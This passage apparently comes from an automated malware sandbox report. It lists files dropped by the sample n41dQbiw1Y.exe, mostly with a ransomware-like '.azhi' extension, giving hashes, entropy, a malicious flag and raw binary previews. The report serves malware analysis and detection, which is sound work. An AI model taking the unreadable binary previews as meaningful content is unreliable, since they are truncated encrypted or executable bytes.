Preview:	{"ramG...W3a...Y..).UU.I....PO.Cm.1:.H..4.,U..1l.='.....{[V..)...D..\|..F....t.s.........zaK......mHf&~m....y_Ta.R.p..z..?{B....B....n.'..K.....-.C7......_2..._.u..H3..N.\..E..M._.<.{..y.nDM..O}.;[.l.p.. pJz..<..U.=<>....%.......<J.r4W.V:.r....,8....6"......8Xzr.U.q.h._....b.y...{.h..t......9..U...M..$,.AgTt;...r...n{J;tq.&....}-..........W...0.X...EU.......4.F.[.g.]....q..n7.7..._:.!.g.w...%.......H.k'.p.;.....&X,...@D].W1j.E.fn.U......cH.q.....0.J6.C..`.....@i+b.q.=k_qJ..C..=sm.U..@.i.o..M..>...~...5.f .!T.v...7.dF.........ly..........&..;...F.{......1.~..!%\p.)....M...~.'3.o.rR.]....oj4!m^..1.F....VE...zE.H....S5.eK-.f.U./Q..0.^...\..)......y..%.G.'<.e.\...h..7...d..l.V..";.....Fr.....O.`..I.:M...I...l}....1#/U....-I...1........AiY.&..\|.idXo.w_x.c....aB"C.[........=v.........4...{.a~..f.f.N.N..LJ.g7........bf.8Y..w.6..8..I....f..9. .~.......W..5..6....RD.{.^....&oCM=\... .cI.....^.Ivw.ur.E4........8.!\...y_&....y:.>.x!.Ed...E...jX$....7...

C:\Users\user\Local Settings\Temp\wct3D66.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	1601198
Entropy (8bit):	7.9873986660034015
Encrypted:	false
SSDEEP:	24576:D9sHUy570SeiN9YqxCCg83udcWXDYajPF2410wuRpGfFki94qSe/wsNfzU+:D9m324gQu3TPZ2psFkiSqwoz7
MD5:	41F80CB0EF8AC402D0815683E459A3D1
SHA1:	58A951B136B8C67C5E5C47F8B152464F06123845
SHA-256:	1E40E7E8A93AF305647043A680358DBAE8C4F2A2001F34B0210B3D9A3E152FFB
SHA-512:	7A5ECD8003BE50FFCBE616FCC06002F76B698818313CC7BE451C7B866E50B651DCAE4DEC6537E44BB23C8BE7C0AFFB370C595BE4DEC37ED4692EF43B55E624FA
Malicious:	true
Preview:	MZ....2.....R..-/y.......,.u.~..P;~.Z........\|U.B....F..).83.%J....tZ...~R.....>..v......&..6c.{.... $vVl.....y...\|......G..Qd...Iw.....1..J.....h.+..?x0G....,9.Q......c..s.........b..%..e..._.^..g.Y.J..xh&e..lZ......9.N..\......$..2x..s>q........T.W.B.P\..O..m..w4..V........[Y..a.....A:.A\......"....J....9....A...\|.[..W&.%........A..(D..y.+6L.F...g..(......3......d....~mHk.`.F.)...6..%.........T..j.g...a.....\..Q..8....l.....{o-...U.g.......v.].E.b..]S.3.t...st...F...j...0..\|;7o....-#y.d.=....6.`.\|....U.O.N.B.w.a.ao.."..A.\9%k.L...pM.6....;..?.!..#..&.G>.....V..aW.Q...y..}x.A..>..../......0..1.......8.....=.}....}.,.Dj...=x....w'..w7...n......w.Jx'c7...P.=.+...fA@.]E..(..`.KC.u.$\.o.`S4.jb.R<.`...1.._Z..c.V.....'.$.W=5.<.}...\......v...xT~.. nO.N....j......Rd.,...5....q7TtuT\?9..G.6hP...\|+.8..q..>.j...t"yP`W....Gq.&..r...IK.(.....4$.%.-..p.\|.Ia;.8J....h.....'...wK....#.....G..2..0..I..2.../..b..."...i..ZI.MF.k.h...{.2..5.;..

C:\Users\user\Local Settings\Temp\wct443C.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997082698363701
Encrypted:	true
SSDEEP:	1536:kz0VlP8n4HOvEPL7lfV62Xdt7Lz0V555wG+bKrpEjTI8qeI6W2UyDT2Em/:xVl0n4lHlfVpN1Lo5EKFEfja/yDTtQ
MD5:	12248A59CF744AF902246B4A400A15BA
SHA1:	9016CCF7F2987A8FBB54A41FC5204555B8580C13
SHA-256:	4691F64410D57EFC02A1C94BEAD51A7D476F00E7F6ED7A3CFBDECBF9C760DA10
SHA-512:	86481692A6F7CF36F2172894BEA0B28C6E3DDAAAED32F32B6B79A3DD0A2C91F0D6A6ED6D27EEEE0251C0531A07D426C1A6949A9217A493B580BDC9A0766D5D7B
Malicious:	true
Preview:	{"ram..D.........:'..)B..x.,n.,......3.+..J.w..Q..p.....i.G...#...{No.h..e..HR...4l......'......'..eO8z.......5IA&/.b]r?....`.r.N....1....+/.^I.i....<h....S5Z.........!...U..:...g]..f..u..JVT....&.....;.#....x..v..}Q..i+ ....L..y...q.1..^o...F.}{.`3..(H.......-'Z,.E...6[.J..Q..F.gt....'.HK..Y.%..}<........P.-G..dt.n. ...A....Lx1m.'.....sR...v.N.........e.[.D\|...{.0.",-...C.L/t.!...L..Ct.P.<.#.....^..R..'9L.\|.s._G81.\|.....}Y..Q...z.r..r.iO....I.Jf..BW.Q`:8<.;...1Fb.d...tp.<...v....:...........H...\Aww../.P$.G....?..\|.z`.YpR .c.8.7.......6.0Q..........#..y:..,g...-L#..........w...-.h..\Y{7= ..m#h..l..t.........._...3.N.,a..{-.......j.'L1.J?]t...a..q.....B...E.>.MY..K.m.8....L..)..l.L.......D...,..vh.....\.<5,....CP...).V.(...5g_......I..(.-u..+0..S...P'7o..+A..[Y..S.-.Q.;.\.\|.x...O..u."lkH.A.'.......?..?..igI.W,.$"0.....v.qpw..V.)..#4.m...BHF.9f....].l..3o.z.C'.0.N..+2A.'.n......A..hF1..N....Z.... .#..Vw.I......[cAe..H...9i>.....7.b.2&`.z.^..R...5..}....

C:\Users\user\Local Settings\Temp\wct49A7.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997493250245151
Encrypted:	true
SSDEEP:	1536:avv8TURmTustJfn4u0EM6gUtxPwh1bF0x//2fAowW6g:avv9RmztFnnnFbA0x/9owM
MD5:	ED408FC325E33B90D28BEF7031CF0A93
SHA1:	0F397EF9128333106E5F396A0A5C2238EC02936D
SHA-256:	018E1245B593447B4273405E808483F212BB68FCFC267E6C49D8702700E073AC
SHA-512:	68549BFCBDC456E712A7F26DB25CBEF2F1F49F03D5DEF2FE6D98F3AC15C1B2A4F6CB77DA954DB172C4D74A9D6C3BE09C1B70D14E34D00CC012A8E29BFC955D80
Malicious:	true
Preview:	{"ram.....qg..j,._.I.\...M...'J..)......:J.8..n.!n.....(.5\|X.{.r../O......Xn..)..4..&w&...I...RD.=......p4.;.5uT.g(..s..W.t..t.....j...O....\...K=.S..6..7....&Xa.rD........m/..&xiT../a.R....Z.........$..=.{5o....`..../r.I.....r.[.R..Q..p4..y..G...........:..wB.Q.(..C?<......%.tAw.&..6... D..?XY...c...i...`..;D.v......j..r.v.(.}....pI.sU..3.uB.z.....>.x..8......(..0}S..#.X.....fO.......\.r>U(...8...V.l0..Ba.F{c....j.....)..p.A&...p....B...>.....&h2JA..../....E{,.W.:.Y.w......m.%R9...Zj..x>.A%......P...&../&I.J(?lM..y.=_.L....+..v.Z...B...T8:.Qq.......f.<ya..x......=...w.g...i.c.....&.c..c].OM....@@..'....Zm.......e.\|"jsl>(.p..."...QdS.l.1..aci.j.+..,YQ.ax<0.v......j......3..h....q...A..J.....'_..s..(..._..*o...M....U.B.4M......L..#....lp.?%..m96.J..8;..L.......g].h....M..E..E.P..o@..`..`....!n...."..{.....[{. .9u._.2..3....$.....Ov..1..L..A-\|XC......7.hL=...R.s....B..-...J..e......[\|.M.![..M.l..X......x...o..E..}..vrl.......X.@.....g.

C:\Users\user\Local Settings\Temp\wctAB5F.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997490934460402
Encrypted:	true
SSDEEP:	1536:Wc2NCQjTurBsm+nojo7n2Gm2S87cigcoyImQUV6FhaboQdaSghzMJ:T2NbjTiF0av2fciXoyvdaSghs
MD5:	B4215397F8ADEA63A599EC6DC975EA3D
SHA1:	58EA74963F5490F038A9F0D27C235C8C90EDBC46
SHA-256:	BB7B6CA667E4CDA9C94A9547DFF27D9A4A07785FBA5E0E82E84E943E342FA009
SHA-512:	61E030AD8704CE89D0315BBF528B87907952D576B1B8438908C2C1E72CEE79548967E306EEF968DD9A83CE662ECBB1E5EEC9DFEC0A8E06A7451A771263BE41D4
Malicious:	true
Preview:	{"ram.!y}jk..D.".?.&..S0.b...2.\|.>........\|....T=...3.u.r..+^Q.[^y.9.......5...76......dC.u.v.,(..?.P...YX..B..sN.o....n.....C...PK$.n.........9.bf..(k....h+.7.M...s.)...%...yK....=.2..(.Aq....#+F....HM._.Z.a...$.z...J[.\|,.}/..}y.>J.{......3U..D^...T.^.J~....D.V'......(HQ.Q.mJ+.~@...4..S.'..!..e.\......r^M.Y...t5l......r.b.).....".q..!>\t(.Jy.....w.p.<....rVF. .%.<S)?..a[...5Ej.].....):..0..f?..L..#.].................K.s..xkl.H^/.h.g...z.E...}@#gZ...Ao.....V.....o_..(Q>a!WLj..<.B...1.. ..(.IO4....8..Ty.....m2$.k,Z.O.L..,.=...V..^6.P.fI.z...u.?J...%J.UNFE.&.......u......e.....<..}...,..=.:].;."p..........P.A.S.......d.."/.K...\.%Zm...O.~..V1....z...\...D...t.:.Y...65....\9.qB.w..6kS_L.l.F...u....P..^..E....j.i=..L..o....R2..@g.X.#..Ba..]...g..u....;rA?j\|..$.Qmkn.g2.&...>..8.-O...[e.......Y.>..,.......l.P.^^.3..B!q.{z.eW....5(.l..i.x../..>wm(.hyp.zy.\.n.w[.&a^.J..w.......CVM ?Q..s.Z@o...b.n..~.D..0..B4.G..&..y...i...y.p....bJ.1VW./..f.

C:\Users\user\Local Settings\Temp\wctDB2E.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997263972836373
Encrypted:	true
SSDEEP:	1536:auTJW1ML4pIRVgN8ZYEVRV4ysqUwWix9UbsQerdoY:XTJ/qIXg2ZYMrqwWiXHQerdoY
MD5:	6A6861D0410471C342F60E2996311270
SHA1:	C8D8B053C3BCC0990932A55F7A2D76DABE397088
SHA-256:	5DC304042BC25DA287C79AC96142EEB1A672B2CF71EDF00A02F16A45FF544747
SHA-512:	4A494C98F284B3B16A2BDECB716606427F2E46DE7E4E627F03246A4242B1D1A85FC969ADA704EE9232B8B1914DAC53A88DE9C50D58AE02427C097755549751F2
Malicious:	true
Preview:	{"ram~..W.u{J.(...l.Si..\|U.k.0.YV..8..-..gU.z....(.. iu.9.jR....f>.i"'0....b......5t.o$...h....t_4.q....D.W.7{.....t.U....t(...0.Z..S..~.eX...._...{w...U.5.+,...g.;U&Sgk?s.....]....4....T!..q...f.%.....$...$...?~...X..A.s.....a"..zHj.;I....4.]9.&U.....M.Mm..".]v.k.....1..%(..........`.9.B.,@.A2.2....Hru..L[f......>......;}C......(th..r=B....\|5.?.CijN..2J5e(}."W.2V.Ai.u[..A.....................Y+',s..._..[.Q..x...K4g..v..J.M.&.....N.wCM.F..c.....d^G^.%.\.B..y+)....A. ?^U..B..o.ds.}W...9N~.h..X.&aB...M..xn..\_..Z.O....._.2..%..%..Tr4.{../...:.......G.=.k..r4V..vI8.Y].....^..p8U..\a.....he.,.9%,Q........[.g]z.p.D..Y[..#a.Z^.D]T[x.......g......M...o.x.g$. .X.v..#.Q..3J...\|..L...n..!>..^...b.#o../0@..u.>qN..........".m.?x~o.Z.......]..F...j.hXr..f.\|*..V......v.-..'i..{.4.....<.5.b.>.K].y............r>..aE.g..d.h...f.f.d.u.h..\......`l.@'......G..wT$.v....=...T.iK...?..5Am..;K.....w.pi,Q)..7..P.M...`.n..}3 7..)...ZT.y.Q.r..0U.A....^....B-.....:Z.

C:\Users\user\Local Settings\Temp\wctE4A4.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.9976619738447505
Encrypted:	true
SSDEEP:	1536:1fSH1MyIwFn3B7DMc/UzNSL8VFDiSn2D1ROv/Q5yx4XcdOFaL/Qtq3BLFGiqu:5e2sBEuUQL8uqS1UvEpaDQHiqu
MD5:	1564FE76CB51D78CD7B66F3417DBECBB
SHA1:	C5A154795902402F3F1A5EB92DA458AB9C20AEF3
SHA-256:	8D002380828D6336C693DE50CD2D453B0408B54009080E71ABF9A7234EAD6B3B
SHA-512:	07B8C2C51C30B39217088707DA7295D7BE9F869DA29F351E5B04B7AC8ED68F8639FFEC181E5745AA2E9506FA7CB32C742DC39E67027A271E26E7A61CE145EC0E
Malicious:	true
Preview:	{"ram.i...Ex...m..z~7.k...#.....{.....Na\....a..d..}..'^..w.,w.+K.....2..L.`....s...k..1.&WE.Y/\.E(:..)..+.[.....@M...J.I...Y$.%G...c..W_D....uX.....V.....L/X..3..T.!.M.[....6...?....(..V.l...-j..;6eM..+..#....>:....h.../cq./.}.Y...8..S.\|1\|..E...B.>...aim..~<..^.R{......e..........?.C.T;c..H.[.<.....$Y...j.....F.a."lA......?.BD[.B.C..=...37..os.1w[m <..f.....`.V5.J"".&.......I....nJ.\..Y..Ri2-........\|n;...rA.(.Y..'.ZH( . .y.`.-..=u.p.Z.%f.... H.YR[e.a. ..cil\......kIx..E.C..`.B)....,V5.......)..9.g..JZ..S.#<n.Z.T....W.\|...... y..j...s.@Q.lML....o...(`.^.A.7.......d....^F........)+.Z.YQ........0d..q......"..2W3....1......~....J.cT..X...:..$>.........' ..&......M)..?.Di...?)\~..-.4V:.9k\D..2..Eq.N<.R".... ../f^.~..@.Tgjs.^0......W....S....`...'. ".k..5..F.w..>.4.+.R..!0......TTyW.......(S.......g.......L..S.O..`./.....-}.[.)u`..)...\,..[..k....."H.Pp..nX.....+.c...8=..X.........h...77_.a...lO..............?J...^.qH.DC...}5'. 1H97sw....1....q

C:\Users\user\Local Settings\Temp\wctEA40.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997638844963769
Encrypted:	true
SSDEEP:	1536:Gll2UT6hxMSNAY28V2ha7u+Hi89IHB0fIJwmVv76oPYvfPmgnbN:+l2U+mSNDvV2iC8IHBoee3x
MD5:	27C4D07B65E15A9419B7E10212E4348D
SHA1:	B4BB5F63DBFB37B7115EE7F7AF754FE69C169372
SHA-256:	CE8EB21F1A24C1B95EADED605F0631C47779D1E82C038833316B21473C36D5C1
SHA-512:	569C459581C1773EED4A3F816B4DED786F4E1DDA986BD046BBCCA173717E2BA943BA01691640F68371E03B909DB57C8C7482AAC9C056D8C6A73FE0C3161D8E24
Malicious:	true
Preview:	{"ram..?...9H8...d..n_.t......x..3Q.B.ZR.g......X.uI.....q.{^.T+E...w>.C...vq.MO....`..?#...&..c.....].6..D#.H.P.T.1..a..-..]...4.Q.?.......K..Z(K..K#.....A.Bz.%=t..\p$>).<9R-X..Iy.og.+.6........60F...L.....e...u..w...2X...B.LT.....h....(..E...!....^.:...E.4&"...;......BTh...x..$:o;.."..$..8.D.......6.Y..q.?v\>.......?.......i..]. Kw>o..<.H.H<...hc.3..D.".....t....}.......)\|.6z...^.V. ....@l...q...G.\...q.zj.Q.C^$..O_.d....qQ.o....)L........;..c.}... .!...7....?..m.].@1I.'`.H.e...u..t./.q.R}..N.......~..\|m/>.....t........??..........n.........L=..K.P?......H.v.P.7.Yj ..d..V.#..A..}%.Z....}9.H...If...T.T-......c..xq1.Q.P..967^..G...;...m..v,.:.o..q..Z...x.&7...p.(.B(...8..I-..2..2........L...2...K..o...\^..'.......9.......E:Ia..^+..3.0\D..y...C&.}....t=.B,\|...,!.!.Y.W0.x1.r.o..h.W.=...o.v...&(bh...^A...a...a.\..Q..E..O...V.T..c.tr;.....3...(.{6..t.....T2..GF4.#%=......`...G`.....g.U{.Y.....5.aD..S."..i..M.J...........E.c0./.....@....vJ..})B{...zg.c

C:\Users\user\Local Settings\Temp\wctF411.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997654215484679
Encrypted:	true
SSDEEP:	1536:E++YgCL843nE72sF7Y8ZyLIFKnAtbxHz5QUOih7/iO0Xayp6kV6RjCL/pIsRrU8M:EbMLrnE6sFM8ZyAnHzpd7/i2NkoRjCb8
MD5:	4D5B20367E72CD0522FA8A8EDA5D1567
SHA1:	4C58E9BC1487B37EA769C118CE901294EB163FEA
SHA-256:	8FAAE98B2CF51802CE176A2AAF8613269F934DFA1EF70BCB4ED65DE4DA809D3D
SHA-512:	7785492CA905A45EDBA8F2FBF38CF39D83B4338FEB3F32A212B838A390A72D9362B3663829F42615E9B9DDE35DC9103DEBB854DD423F5A36D896992ABF2BE588
Malicious:	true
Preview:	{"ramlX`^..`.C.)..4x..]...Ok6.(#q<f^......&>.,.).m..<^R...../.[.....Z8'...=.C....#B......."...&.@.U.."...&..?....v^.R...w..O1V..@......;u!..........P.#7.&{.8.N..}j.Qw..Ah...})...f}@...jE=z\@.F._......="L.uVuQ.."J2\|..@....z..C...W.2\OS\|N.7.YlXJj......hNl...=.l..v.G.......s..,.d._y.J..vK.........h;..-...'...I:2k.[W../"`.}.u.M..x..b..7.....dk...ab...G......Zx.1.....<_....)h.....+.D.....V.r.Q.....`...6.;.D.W.....u!@z...[.{...H?<.....Q.....j.b......a...JZ.(...w..=X.WA.9I.=.5.DN_..u..1..wS=G......}y(<F\......6>._.MR.g.35.=..^..zlL._^d0...W..^.u..M..<m....yi.1<C>;....Vs.\|.T...;O....<t............u...l..^..3iF4.H.zF.G....Yw.....uh.6..PI..,....$..&i.Z...8..9.R...d."a....v..m5@.....g ..P.G..B3z.\|.#. ..EcR .+:.C..Hr[Q...3..L.4\v.34.....i...'.R..F..L....=...... ..t.....7%.2..d...u....~........{...&u.Z..1.x..;>T.G,...U5.45...yT. ..N@.J..O.Z.7?..0N.ap..7.{...0...\|.N.m>.xc.......qm.E(..R...?../.....X.x.....?p..U7........^..B..8..T..z.\|.[.i..,.

C:\Users\user\Local Settings\Temp\wctF86A.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947665401229243
Encrypted:	false
SSDEEP:	786432:owQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59l:FQcWxDMPnN+dk65gGUjku4vNjLjl
MD5:	5AF2E3705986213ADFCC07688DD61DBE
SHA1:	E01E0956C0AD5BAE3843B0851024CE378C12D0CA
SHA-256:	D36B77C2D31F2FE48CBE7F3E0BE190BAA60C736F6D90C174CABEE7BB6AB7048B
SHA-512:	4C304F1786BB8D8E233A45F5B5D3DE627F1302452390ABD186D685FEB01F29C7CF6307ED77D1F951346F913A87B338EC70F3D9FE3A3EDF56B4B29DA1CAD2776B
Malicious:	true
Preview:	MZ...E..CU....i>V..U.>..7....m...s..%o'Y..s.6.._....&.....V@5Dg.[.0..O...:)Rr..6....Qs.._7m.).....OO...........m.kE...<.......!.].-.........d.....L.Ad...?.P~a.....4.%&s.R)...'.`."..i...V.D..!.u6.X....B..:.[.k.....\5..M'....1......X.b...{.....Mw.....w..A.&..z@4...a........ac.#S.Zw.I..f9...cm\.1..?7.et.y.>i.8t[...^..h...JByT..F.>...N1.o.V.`>.....y......dv.....]\|.....V..1.iL.....5.r......OL........!W>6..s.O{Xv..c....&..rP..J..'...Z.........Y..Yc.X$..]g....7/gJ...>...M....>..3...A..R.5.....V.......]..V.tT.3.4P.:..z....w......w...jr!...[..X8.R..HR...-nQ.U....mL..`.ZV..k3>."Y\|..C?.....X.TQ...y.(g.8#.Uo?.k..B}6`_EJ$=E..z.``...,Ja{.......:S...x._...A.%.z=....gE..R..SBd...Z{. ;.)..........G?.p..^..=.p)...6.Kw..}.K.?.l.1.........Y.\.o.#OT_7..A...=}.\\|..&.j.+..........wl?n..'.6...1..zO..(9..B.#......I.~..c....... ..0...X..WCQPE.........O......Sa.>.E=%..)'...n..6._.Ho..`..tB...D/.....ho....w.X...w.......VW...\D.i.{..]i%..\...i....C.D..W......G....>.

C:\Users\user\Local Settings\Temp\wmsetup.log.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.809829957877744
Encrypted:	false
SSDEEP:	24:ttlf3mEeF0ZMQxgT72if2ZugFWYn2bMnrc2565btmbD:Dlpe2Ze72zoYn2gnrc95p0D
MD5:	DB585AF4DDE603597AC35AA5F22126A4
SHA1:	0F61DA60E533594F376EA8ADC3226A0584ADB846
SHA-256:	6D16F6123B9F00EA5CA70DC0D79138957EE72863CA65DFA8FA0E0DAEC19A628A
SHA-512:	1F79773B5A330D79DC73A8E61EF32EDF16FF4191693FE0827A72A94D008BD094DCD2646C43699DC9805CB17884B8D881C2E5EF740C734D0DE3C670F30E71FCAA
Malicious:	false
Preview:	..[W.Jw'F.vk..@,.M.8...c.\|Wx.Kv..h..Aw.j...t?6ld.G\N..<..o...&k.[R;...$1~.W41......[.E...&Qi..L.y..a.i9.q....ro...>...h&.......W&..kP.....&..O.E.]X..\........]...z...%..,.h..."0#..h....6.LJ...4...+^f.....u.e.5..C_D..{A.q3.Z.i@..!.E....'(...I.-..<.;v..8.\....K....WXO.'p....7'.............yK".!\|.e......%.f.....@..&+'.r~w..%..M\.n._4.& .(....m...6......z.. .;-9V....0.W....e.uE..F..m".@~........."..f..bE:....:].e.`-..8z.\x.!......~....A...ZE..Sv.t......\|0..b..U..h.$.@$.;!C......4..Ms..4Y.........r.!.\t..KN.,.{...5....i.O;j:.9.1.". )+..(QN.....O...C.p%.......o...4......>~`...=%.F{......Mf.$.2..C.......c-.rw..z. .o...K..ty...N.KXO/.N..n.4$-)...x8..jA.....j..^.C.j.......R... ..s.S......b.......@.(...........8.....2).U.i.zc......h..%...'......k..&}..p..7..9.]...<F.j.\|.Ab34X2..},.l......u/.'....z..=./.1.......t.n~1'.C=.......w(.2.}....!..=Nnv.N.....T[XW..j..>...)m2..........].....^.^_kGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698

C:\Users\user\Local Settings\Temp\{02662522-698F-45B5-959E-0EC7B36298AD}.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.973326193664191
Encrypted:	false
SSDEEP:	96:DwwZ2wp+VlJ+nyrVaDzj5EoVZM63gYuTyRO8JfY4flgGSvz3/5:Gy+Viy4Dz57X5a+NJQc5Svz3/5
MD5:	F92B8755A0CB5AB232F43109AADB8ACA
SHA1:	6F4FDF60A5507E1CB331DC23BC54B3AE0A984311
SHA-256:	878793948041C49409A41C3F22E419994B3A68E0CA69B10961AE3CBE0910EC18
SHA-512:	3D855D277733182E3AA2C37353695045DC440981242BFFA79B1145AF4499B833158ED479978D795B47E57B2D3D1EF906E35B78FE326BC21E077C30E20E82EA30
Malicious:	false
Preview:	.PNG.Pi...K..s..6...........f..O...l..j..1.....u"\|....d.......S..L.I......\|../....f.M..A.$...H..T...0.tJ...zZ...F...o.W......K.K.....&.-.....L..J=y:,.L....n......._.H....&..jpZ\|W..=...l.F..h..E.....h.....B....I..yi..qs...K........i..}0.(....{..c.{]..L...+.P?..A..X.._6$..3.Qkc.7......\|-....y...%7..h..l..1B.q.....8..3F..#..._J8l...@W"aU..P.T......(.B.fh.A.B.{.$... x<uH.../%G.g.Xg.L.E...$..(g.....G.D...2M..wu..Q.U$.N..p..J.....cx.hz..9.`..z.2....yg...8.].A.T.<..>.\|..dLtn&dY............'.m..Da ...]..c..<7fv..x.....y....SvQ7..1...}.{..o.EQE....=.3.{.~.....]..K@/..9..\|.Y.wq..<l.Q.qj.K.C.&J.gT..... .N....38..>......>.k...o......3.i.....0..x[.O.eX.2Y=e....d..(..gX.PR......c..i.k.[.^..hy.%..\tw`...c..uJ..V...s.`..a90.g...Ds.H....b...%....j,....J...Q.=.\|../....o...SG.....#.,..2....l...%2....A....W3..[..}]t}...u........sg...$.....C.......D'......}22.....\|......Y..:..z..v.=sX....6-v.*r@..g..9wX..B]}....Np1..........."\|h/..:...s..\.......

C:\Users\user\Local Settings\Temp\{139BFC28-947F-45CC-9DE4-AB0FCAEF6E9F}.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.969181806495905
Encrypted:	false
SSDEEP:	96:NV5r1qFwxS0FoH44Ye/ivupWO4Civ9SUmDHfT3/LJIK0qWreo7rkqr7Er+sx5wv6:NSOnFoY4o2C99SBHfTvLboeAd/u+sEdE
MD5:	BDE7FEF61FBB39C211C683E0FFEB7C1B
SHA1:	771F5ED550BA61BD1E53D9BB8F36A761B4BC09CC
SHA-256:	AAE12A70B3F3F1D7B17647DD940AECC061BD8496658E68291043E42975BAF51B
SHA-512:	3E3A226E057D19B7F6006992BE7D72AE51DEDF0108499A3B80A3C14328C688B0277E6F0F626A74774D6413D6F85DF49C9328B07236E6079D01C71ADDD3D4638F
Malicious:	false
Preview:	.PNG..=Wy~..../K}..X=-Rt/...z...r..d@..z.`..k..a,..{...).86.x?......[.....v].......}..'n@7.....:oS.o.0' )x..-pYrg...!.......`q.+U....!..9....<.a.V..c..H.,U).Q..-..m1.'..eEU./.~N....6....u....5..K.n...g. ......t4..g..i.....O....arl^..^.._.......O0p..~.q.h..h.e..&..7.c..w.....QB.h....}...F.8........1..]F...b..E94~....y..l.2!.C+...d....}P..6P.......y..3_..{.....^.A.8.....Y...\|..~.....%.."..G...\.%.KZ.E;.5(..mg.6.4.g.v8.[.'.%.w...T.D..%e!q..h..Db...}.(....sR.Z...0\|px...a...y{.U.)...S..+.E<.\n.....,.Xq\|.."cW..TU.,).Ev.5....W..H)@O.<....y3....p..x.....8`.D.\|p....).1.Pq1..P.J.gU.3....fy..[.Z(.B@^...{.Y.....wP......'..._.K...?2...25[...\|.Z..bb...u..4.L.w@..G<..ZUpca...S.x..QT.....9..z;......T...=.D.w..#..:)g..)y..m.Z....i..<3.E8&...kI...fz[......^r .........X.\|....s....s.....t..;...o.$p ....OC......Q.....q0.......W.j...a'......"V.z).\2...w.......t.QTE.9.T...!.wR.!R. h..........e.].M..{.....T1.1jk........R.."H.(...Hs..%.=..H"[...u..@.C

C:\Users\user\Local Settings\Temp\{5871238D-BEB9-464A-931F-701C8F0FFB10}.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.972694829464739
Encrypted:	false
SSDEEP:	96:1zs08sNi1dgkXinJ+eJY9970+EcpFgKM1c/KCLuE0sP8usj:1CsNDWinUnjNESFuc/KCKEnRsj
MD5:	F3C9DC9EEEA40B4364EEF1ECE196A32B
SHA1:	E4DAEABFA1EA9B6A64B22B85C1C3B300C6B811CC
SHA-256:	4D268ED7027D0EBA6DC579E804852C260594D16B56D2A8EEFAEAA36A82A5D4BE
SHA-512:	B694EBEA8B5DCBB51BBD5C5C2ABBA671D5B598222F963D59F906E667309060F8BEFBF01BA860E54FFDBB907E238306AA23794A56765304EAC43E749BE1E15000
Malicious:	false
Preview:	.PNG.........~..,..\|....g.b.7...{gI#3.$..-5._..(.c......z?..`........wd(..<....).+`[.._.f?..X....l..t.{"rZp.f.X+...&.]..O...<....#'c>..P....br......$.I...$......H.x6.y.}<.j..UGG.-..b......"..].9.h.BA...&.RA..Oy.;.>Tm.I&....9FZ.Fv......}..n.._G.... :.i.:F.D[...Z#...:\|V..."."..C.X....9.'..F.l.h.....).X..a/......+Q.i.4..?...B.....Dx.. ..rt.@P..j.T4T.......Hd......I.!R.%...K.W..a...L#...F..8...8.N].m...+pb.@.4w.C..3jN.....D...~...2..'&..3..:T. TE.RW....v.M.....L#..Ot. ......,....X...!..>%H..Vb.%......-.)..:.E/..>..\|...2.2...O.."j.(\|.b.3.w.h.../...Qp...=.....@..&...&....5...{.5A......=..8.A#.vn`[.^...wO...0.0.i.Lc...3..?...j.j.{...Qy.....D.k.....@..6..._R..a-..M@m.{Hj!Ko.&?.\.....5-].....].B..if..i....$.[p.N....E....mLs..K.0....PN..T..:2O..u,S...Z..QU...?...Uq.[.FQ.*.T<+c........4.J.8.7CL..W.=.Ut.4.#..Z..4...\|.p(..E6/\......o.:`........v.3.8...6..{.&....U./....^w...W.!.y..[..z..e83.W..'.2.v/.n.bX..+~..[%..,.m..V..........a....

C:\Users\user\Local Settings\Temp\{5F969F84-5F34-4AF8-8D36-D6D6A1668750}.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.9676852180477225
Encrypted:	false
SSDEEP:	96:rJ0mWvvM7yH6kzy8ykBZ0ajouukuqcWXzNahHb2/FTvb8SvtSxCl:rJ0TMqy81Z0ajoueqcURb8Oug
MD5:	F2E87A9E0F4279B5E933038CD9FB6909
SHA1:	525D2CC5FF1CB6FBE1F2DAC4898BFD540C02001A
SHA-256:	24F21CE04094A1021B05F5C2E3AD0DEC4AFFA2026BFC35D1AFCB6637630EC397
